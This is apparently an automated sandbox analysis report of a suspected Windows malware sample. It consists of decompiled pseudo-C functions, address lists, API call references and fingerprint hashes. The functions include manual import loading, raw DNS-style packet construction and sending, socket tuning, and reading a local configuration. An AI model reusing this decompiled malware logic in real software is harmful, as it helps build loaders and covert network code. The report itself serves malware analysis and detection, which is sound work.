					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 022B62B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 022B62EC
LoadLibraryA.KERNEL32(?), ref: 022B6313
GetProcAddress.KERNEL32(00000000,?), ref: 022B639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 022B63EE

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 8f74e24173ce4e7574e4b8960735343c42600d7be6a442915bfe859d72cf4105
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 1A418E71A20206AFDB26CF98C884BFDB7B9FF04794F148069E825DB294D775E941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x73b743e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(73B743E8,00000000,?,73B743E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,73B743E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,73B743E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 00437594, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004375F3
_memset.LIBCMT ref: 0043767C
__invalid_parameter.LIBCMTD ref: 004376DB

Strings

P, xrefs: 004376F0

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: c81341095b46d4914cf3181fb05e5b0897487340572258f3a4cca78f2b8be275
Instruction ID: 4b25f765c9cd120d3df8f63172234814b42e54eddb7b5e0a43f588b83c4c97c5
Opcode Fuzzy Hash: c81341095b46d4914cf3181fb05e5b0897487340572258f3a4cca78f2b8be275
Instruction Fuzzy Hash: FE417DB0904309EBCB24CF58C8457AE7761FB48324F10966AE8A42B3D0D3799951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E558
